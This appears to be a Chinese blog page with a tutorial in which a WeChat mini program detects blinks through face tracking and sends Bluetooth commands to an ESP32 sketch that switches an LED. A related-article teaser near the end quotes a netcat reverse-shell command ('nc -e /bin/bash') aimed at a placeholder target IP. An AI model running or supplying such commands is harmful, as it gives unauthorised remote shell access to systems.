当前位置: 首页 > news >正文

微信小程序-人脸检测-眨眼驱动ESP32蓝牙设备灯

前面2篇文章已经写了具体的人脸检测和蓝牙
这里直接结合,只列js 代码,剩下的其他代码在另外文章里面
https://blog.csdn.net/walle167/article/details/136261993
https://blog.csdn.net/walle167/article/details/136261919
上代码


import bleBehavior from './ble'Component({behaviors: [bleBehavior],session: undefined, // 全局的VKsession对象data:{originx:"1%",originy:"1%",eyeLetfHeight:"100%",eyeLetfWidth:"30%",eyeRightHeight:"100%",eyeRightWidth:"30%"},methods: {onReady(){//初始化蓝牙this.openBluetoothAdapter();//初始化VKthis.init();},onHide :function(){//关闭this.closeBle();},onUnload :function(){this.closeBle();},// 对应案例的初始化逻辑,由统一的 behavior 触发 初始化VKstart完毕后,进行更新渲染循环init() {this// VKSession 配置const session = this.session = wx.createVKSession({track: {face: {mode: 1}},version: 'v2',});try {session.start(err => {if (err) return console.error('VK error: ', err);//摄像头设置为前置摄像头 1    0 为后置const config = session.configconfig.cameraPosition = 1;  session.config = config;console.log('VKSession.start ok,version:', session.version)//  VKSession EVENT resizesession.on('resize', () => {})// 开启三维识别session.update3DMode({open3d: true})// VKSession EVENT addAnchorssession.on('addAnchors', anchors => {console.log("addAnchor", anchors)})// VKSession EVENT updateAnchorssession.on('updateAnchors', anchors => {var anchor = anchors[0];//第一个人脸//43 两个眼睛中间点     46鼻头var  centeracch = anchor.points[46];//两个眼睛中间点//72 左上眼皮  73  左下眼皮   75 右上眼皮  76 右下眼皮//console.log(centeracch);//鼻头var eyeLetfLen  = this.calen(this.calculateEye(anchor.points[72],anchor.points[73],anchor.points[52],anchor.points[55]));if(eyeLetfLen < 5){console.log("open led");//发送蓝牙数据this.writeBLECharacteristicValue(0x61);}var eyeRightLen = this.calen(this.calculateEye(anchor.points[75],anchor.points[76],anchor.points[58],anchor.points[61]));if(eyeRightLen < 5){console.log("close led");//发送蓝牙数据this.writeBLECharacteristicValue(0x62);}this.setData({originx:centeracch.x * 100 +"%",originy:centeracch.y * 100 +"%",eyeLetfHeight: eyeLetfLen + "%",eyeLetfWidth: (70 - (eyeLetfLen / 100 ) * 40) + "%",eyeRightHeight: eyeRightLen + "%",eyeRightWidth: (70 - (eyeRightLen / 100 ) * 40) + "%"})})// VKSession removeAnchors// 识别目标丢失时不断触发session.on('removeAnchors', anchors => {console.log("removeAnchors",anchors);this.setData({originx:"1%",originy:"1%"})});console.log('ready to initloop')// start 初始化完毕后,进行更新渲染循环this.initLoop();});} catch(e) {console.error(e);}},calen(eyelen){var l =  105 - eyelen;if(l>100){return 100;}else if (l < 5){return 3;}else{return l;}},calculateEye(up,dow,left,right){var ylen = this.calculateDistance(up.x,up.y,dow.x,dow.y);var xlen = this.calculateDistance(right.x,right.y,left.x,left.y);return xlen/ylen;},calculateDistance(x1, y1, x2, y2) {  var dx = x2 - x1;  var dy = y2 - y1;  return Math.sqrt(dx * dx + dy * dy);  },// 限帧逻辑initLoop() {// 限制调用帧率,暂时去掉let fps = 30let fpsInterval = 1000 / fpslet last = Date.now()const session = this.session;// 逐帧渲染const onFrame = timestamp => {try {let now = Date.now()const mill = now - last// 经过了足够的时间if (mill > fpsInterval) {last = now - (mill % fpsInterval); //校正当前时间session.getVKFrame(1,1);}} catch(e) {console.error(e);}session.requestAnimationFrame(onFrame)}session.requestAnimationFrame(onFrame)},},
})

esp32的代码是抄了其他博主的
https://blog.csdn.net/m0_45199510/article/details/131642604

代码如下

#include <Arduino.h>
#include <BLEDevice.h>
#include <BLEServer.h>
#include <BLEUtils.h>
#include <BLE2902.h>#define Led 2uint8_t txValue = 0;                         //后面需要发送的值
BLEServer *pServer = NULL;                   //BLEServer指针 pServer
BLECharacteristic *pTxCharacteristic = NULL; //BLECharacteristic指针 pTxCharacteristic
bool deviceConnected = false;                //本次连接状态
bool oldDeviceConnected = false;             //上次连接状态d
// See the following for generating UUIDs: https://www.uuidgenerator.net/
#define SERVICE_UUID "2563121a-5e23-42e7-a40a-8e1c4e522e96" // UART service UUID
#define CHARACTERISTIC_UUID_RX "2563121a-5e23-42e7-a40a-8e1c4e522e96"
#define CHARACTERISTIC_UUID_TX "2563121a-5e23-42e7-a40a-8e1c4e522e96"//回调程序
class MyServerCallbacks : public BLEServerCallbacks
{void onConnect(BLEServer *pServer){deviceConnected = true;};void onDisconnect(BLEServer *pServer){deviceConnected = false;}
};class MyCallbacks : public BLECharacteristicCallbacks
{void onWrite(BLECharacteristic *pCharacteristic){std::string rxValue = pCharacteristic->getValue(); //接收信息if (rxValue.length() > 0){ //向串口输出收到的值Serial.print("RX: ");for (int i = 0; i < rxValue.length(); i++)Serial.print(rxValue[i]);Serial.println();if (rxValue[0]=='a')digitalWrite(Led, HIGH);elsedigitalWrite(Led, LOW);              }}
};void setup()
{Serial.begin(115200);// 创建一个 BLE 设备BLEDevice::init("ESP32BLE");//在这里面是ble的名称// 创建一个 BLE 服务pServer = BLEDevice::createServer();pServer->setCallbacks(new MyServerCallbacks()); //设置回调BLEService *pService = pServer->createService(SERVICE_UUID);// 创建一个 BLE 特征pTxCharacteristic = pService->createCharacteristic(CHARACTERISTIC_UUID_TX, BLECharacteristic::PROPERTY_NOTIFY);pTxCharacteristic->addDescriptor(new BLE2902());BLECharacteristic *pRxCharacteristic = pService->createCharacteristic(CHARACTERISTIC_UUID_RX, BLECharacteristic::PROPERTY_WRITE);pRxCharacteristic->setCallbacks(new MyCallbacks()); //设置回调pService->start();                  // 开始服务pServer->getAdvertising()->start(); // 开始广播Serial.println(" 等待一个客户端连接,且发送通知... ");pinMode(Led, OUTPUT);
}void loop()
{// deviceConnected 已连接if (deviceConnected){pTxCharacteristic->setValue(&txValue, 1); // 设置要发送的值为1pTxCharacteristic->notify();              // 广播txValue++;                                // 指针数值自加1delay(2000);                              // 如果有太多包要发送,蓝牙会堵塞}// disconnecting  断开连接if (!deviceConnected && oldDeviceConnected){delay(500);                  // 留时间给蓝牙缓冲pServer->startAdvertising(); // 重新广播Serial.println(" 开始广播 ");oldDeviceConnected = deviceConnected;}// connecting  正在连接if (deviceConnected && !oldDeviceConnected){// do stuff here on connectingoldDeviceConnected = deviceConnected;}
}

相关文章:

微信小程序-人脸检测-眨眼驱动ESP32蓝牙设备灯

前面2篇文章已经写了具体的人脸检测和蓝牙 这里直接结合&#xff0c;只列js 代码&#xff0c;剩下的其他代码在另外文章里面 https://blog.csdn.net/walle167/article/details/136261993 https://blog.csdn.net/walle167/article/details/136261919 上代码 import bleBehavior …...

怎么在wifi中实现手机和电脑文件互传

有时我们想手机电脑文件互传&#xff0c;数据线却不在身边&#xff0c;这时我们可以用MiXplorer来实现wifi中手机和电脑互相访问文件。 MiXplorer是一款来自著名安卓开发者论坛XDA的作品&#xff0c;免费且功能强大&#xff0c;被很多人誉为是“全能文件管理器”。 1.在手机上…...

07 STL 简介

目录 什么是STLSTL的版本STL的六大组件STL的重要性如何学习STLSTL的缺陷 1. 什么是STL c标准库的重要组成部分&#xff0c;不仅是一个可复用的组件库&#xff0c;而且是一个包罗数据结构和算法的软件框架 2. STL的版本 原始版本 Alexander Stepanov、Meng Lee在惠普实验室的…...

unity学习(39)——创建(create)角色脚本(panel)——静态(static)

1.发现一个非常实用的功能&#xff0c;点击unity中console的输出项&#xff0c;可以直接跳转到vs的代码页&#xff01; 2.static类&#xff08;变量&#xff09;有三个特点&#xff1a; &#xff08;1&#xff09;独一份&#xff08;2&#xff09;无法实例化。&#xff08;3&…...

MacOS环境下用powerline配置Terminal终端

Powerline 简介及安装配置 Powerline 是一个 stateless 状态栏&#xff0c;也就是一个全局状态/提示栏。你可以将其配置到你的 bash、Terminal、iTerm2 或 VIM 中&#xff0c;效果会如下所示&#xff1a; 你的 Mac 终端提示栏将会呈现如下图所示&#xff1a; 你的 VIM 状态…...

liunx单机项目部署

文章目录 1.liunx简介2.liunx的jdk安装2.liunx的tomcat安装3.liunx的mysql安装4.单机项目部署 1.liunx简介 Linux&#xff0c;一般指GNU/Linux&#xff08;单独的Linux内核并不可直接使用&#xff0c;一般搭配GNU套件&#xff0c;故得此称呼&#xff09;&#xff0c;是一种免费…...

SQL 中如何实现多表关联查询?

阅读本文之前请参阅----MySQL 数据库安装教程详解&#xff08;linux系统和windows系统&#xff09; 在SQL中&#xff0c;多表关联查询是通过使用JOIN操作来实现的&#xff0c;它允许你从两个或多个表中根据相关列的值来检索数据。以下是几种常见的JOIN类型&#xff1a; …...

oracle 设置权限 禁止删除用户

在Oracle中&#xff0c;可以通过修改系统角色来控制用户的操作权限。要禁止删除用户&#xff0c;需要将DROP USER这个特定的系统权限从相应的角色中移除。 下面是一种常见的方法&#xff0c;使用SQL语句进行操作&#xff1a; -- 创建新的角色&#xff0c;并为其分配所有必要的…...

港科夜闻|香港科大计划建立北部都会区卫星校园完善科大创新带,发展未来创新科技 未来医药发展及跨学科教育...

关注并星标 每周阅读港科夜闻 建立新视野 开启新思维 1、香港科大计划建立北部都会区卫星校园完善“科大创新带”&#xff0c;发展未来创新科技、未来医药发展及跨学科教育。香港科大校长叶玉如教授在2月22日的媒体会议上表示&#xff0c;香港科大将在北部都会区建立卫星校园&a…...

linux反弹shell简单使用

一、反弹shell&#xff08;NC正向反弹&#xff09; 1、靶机开启监听端口 格式&#xff1a; nc -lvvp [任意未占用的端口号] 例&#xff1a; nc -lvvp [8080] 2、攻击机将shell弹到靶机上 格式&#xff1a; nc -e /bin/bash [靶机ip] [靶机监听端口] 例&#xff1a; nc -e /bin…...

前后端分离Vue+nodejs校园论坛bbs系统x450z

开发语言 node.js 框架&#xff1a;Express 前端:Vue.js 数据库&#xff1a;mysql 数据库工具&#xff1a;Navicat 开发软件&#xff1a;VScode本论文拟采用计算机技术设计并开发的论坛bbs系统&#xff0c;主要是为用户提供服务。使得用户可以在系统上查看帖子信息、签到积分等…...

ChatGPT的能力边界在哪?

ChatGPT在今天被热炒&#xff0c;主要的原因不是因为它能和人聊天&#xff0c;或者能帮助人做作业。其实做作业这件事它做得并不好&#xff0c;虽然有些中学和大学的问题它能够解决&#xff0c;但是对于绝大部分问题&#xff0c;它给出的答案都是车轱辘话。 那ChatGPT被热炒的…...

Sentinel微服务流量治理组件实战下

目录 Sentinel控制台介绍 实时监控 簇点链路 流控规则 限流阈值类型 流控模式 流控效果 熔断降级规则 熔断策略之慢调用比例 熔断策略之异常比例 熔断策略之异常数 热点规则 系统规则——系统自适应保护 系统规则阈值类型 授权控制规则——来源访问控制&#xf…...

vue+node.js美食分享推荐管理系统 io551

&#xff0c;本系统采用了 MySQL数据库的架构&#xff0c;在开始这项工作前&#xff0c;首先要设计好要用到的数据库表。该系统的使用者有二类&#xff1a;管理员和用户&#xff0c;主要功能包括个人信息修改&#xff0c;用户、美食类型、美食信息、订单信息、美食分享、课程大…...

云原生超融合八大核心能力|ZStack Edge云原生超融合产品技术解读

企业数字化转型的焦点正在发生变化&#xff0c;云基础设施由资源到应用&#xff0c;数据中心从核心到边缘。面向云原生趋势&#xff0c;围绕应用升级&#xff0c;新一代超融合产品——云原生超融合应运而生。 ZStackEdge云原生超融合是基于云原生架构研发的新一代IT基础设施 …...

认识K8S

K8S K8S 的全称为 Kubernetes (K12345678S) 是一个跨主机容器编排工具 作用 用于自动部署、扩展和管理“容器化&#xff08;containerized&#xff09;应用程序”的开源系统。 可以理解成 K8S 是负责自动化运维管理多个容器化程序&#xff08;比如 Docker&#xff09;的集群…...

K8S-001-Virtual box - Network Config

A. 配置两个IP&#xff0c; 一个连接内网&#xff0c;一个链接外网: 1. 内网配置(Host only&#xff0c; 不同的 virutal box 的版本可以不一样&#xff0c;这些窗口可能在不同的地方&#xff0c;但是配置的内容是一样的): 静态IP 动态IP 2. 外网&#xff08;创建一个 Networ…...

ShardingSphere5.x 分库分表

一、shardingSphere介绍 1、官网&#xff1a;Apache ShardingSphere 2、开发文档&#xff1a; 概览 :: ShardingSphere 3、shardingsphere-jdbc ShardingSphere-JDBC 定位为轻量级 Java 框架&#xff0c;在 Java 的 JDBC 层提供的额外服务。 它使用客户端直连数据库&#x…...

cmake 项目。qt5升级 qt6 报错 error: “Qt requires a C++17 compiler 已解决

日常项目开发中。需要对qt5升级到qt6 做cmake兼容配置&#xff0c;在编译中发现&#xff0c;有c 编译环境 报错 2>C:\Qt\6.5.3\msvc2019_64\include\QtCore/qcompilerdetection.h(1226,1): fatal error C1189: #error: "Qt requires a C17 compiler, and a suitable …...

Flutter Engine 编译

本地环境 Flutter 开发基本环境配置&#xff0c;SDK【】 MAC. M2芯片 git工具 python环境[MAC自带] xcode Chromium depot_tools depot_tools 是调试 Flutter 引擎的必备工具包&#xff0c;包含了 gclient、gn 和 ninja 等工具&#xff0c;这些在下面会用到&#xff01;…...

Netgear路由器急救指南:nmrpflash如何让变砖设备重获新生

Netgear路由器急救指南&#xff1a;nmrpflash如何让变砖设备重获新生 【免费下载链接】nmrpflash Netgear Unbrick Utility 项目地址: https://gitcode.com/gh_mirrors/nmr/nmrpflash 当你心爱的Netgear路由器因为固件升级失败、意外断电或其他原因变成一块"砖头&q…...

Windows平台QT BLE开发避坑指南:从环境搭建到稳定通信

1. Windows平台QT BLE开发环境搭建 在Windows平台上使用QT进行BLE开发&#xff0c;首先需要确保开发环境正确配置。我遇到过不少开发者因为环境问题卡在第一步&#xff0c;白白浪费好几天时间。这里分享几个关键点&#xff1a; 编译器选择是第一个坑。实测发现必须使用MSVC编译…...

Touchpoint:命令行工具集中管理工作上下文,提升开发效率

1. 项目概述&#xff1a;一个被低估的开发者效率工具如果你和我一样&#xff0c;日常开发工作需要在多个代码仓库、项目管理工具&#xff08;如Jira、Linear&#xff09;、文档平台&#xff08;如Confluence、Notion&#xff09;和沟通软件&#xff08;如Slack&#xff09;之间…...

2026运营经理学习数据分析对职场能力提升的影响

一、数据分析在运营管理中的核心价值数据分析能力帮助运营经理优化决策流程&#xff0c;通过数据驱动的方法提升业务效率。掌握用户行为分析、市场趋势预测等技能&#xff0c;能够更精准地制定运营策略。数据可视化工具&#xff08;如Tableau、Power BI&#xff09;的应用&…...

Python邮件自动化实战:基于mymailclaw的监控报警与Slack集成

1. 项目概述与核心价值最近在折腾邮件自动化处理的时候&#xff0c;发现了一个挺有意思的开源项目&#xff0c;叫psandis/mymailclaw。乍一看这个名字&#xff0c;你可能会联想到“邮件抓取”或者“邮件爬虫”。没错&#xff0c;它的核心定位就是一个用 Python 写的邮件客户端自…...

智能合约赋能AI代理:构建可验证、可审计的自动化工作流

1. 项目概述&#xff1a;当技能遇上智能合约最近在探索AI代理&#xff08;AI Agent&#xff09;的落地应用时&#xff0c;我遇到了一个非常有意思的项目&#xff1a;saralobo/skill-ai-execution-contract。这个项目名字乍一看有点长&#xff0c;但拆解开来&#xff0c;核心是“…...

矩阵Zig-Zag遍历:对角线路径的优雅实现

矩阵Zig-Zag遍历&#xff1a;对角线路径的优雅实现 最近刷题遇到一个很有意思的矩阵遍历问题&#xff1a;如何以Zig-Zag&#xff08;之字形&#xff09;的方式打印一个二维矩阵&#xff1f; 什么是Zig-Zag遍历&#xff1f; 简单来说&#xff0c;就是从矩阵的左上角开始&#…...

从零制作LED智能面具:三种方案详解与避坑指南

1. 项目概述&#xff1a;三种不同段位的LED化妆面具制作如果你对闪烁的灯光和可穿戴电子设备着迷&#xff0c;一直想亲手做一个能在派对或演出中吸引眼球的智能面具&#xff0c;但又觉得无从下手&#xff0c;那这个项目就是为你准备的。我花了几个周末的时间&#xff0c;从最简…...

为什么你需要Markdown Viewer:浏览器中预览Markdown文件的终极解决方案

为什么你需要Markdown Viewer&#xff1a;浏览器中预览Markdown文件的终极解决方案 【免费下载链接】markdown-viewer Markdown Viewer / Browser Extension 项目地址: https://gitcode.com/gh_mirrors/ma/markdown-viewer 还在为浏览器无法直接打开.md文件而烦恼吗&…...

Go语言设计模式:创建型模式

Go语言设计模式&#xff1a;创建型模式 一、设计模式概述 设计模式是软件设计中反复出现问题的解决方案。Go语言作为一种现代化的编程语言&#xff0c;同样可以应用经典的设计模式。 Go语言中的设计模式特点 接口优先&#xff1a;通过接口实现解耦组合优于继承&#xff1a;Go不…...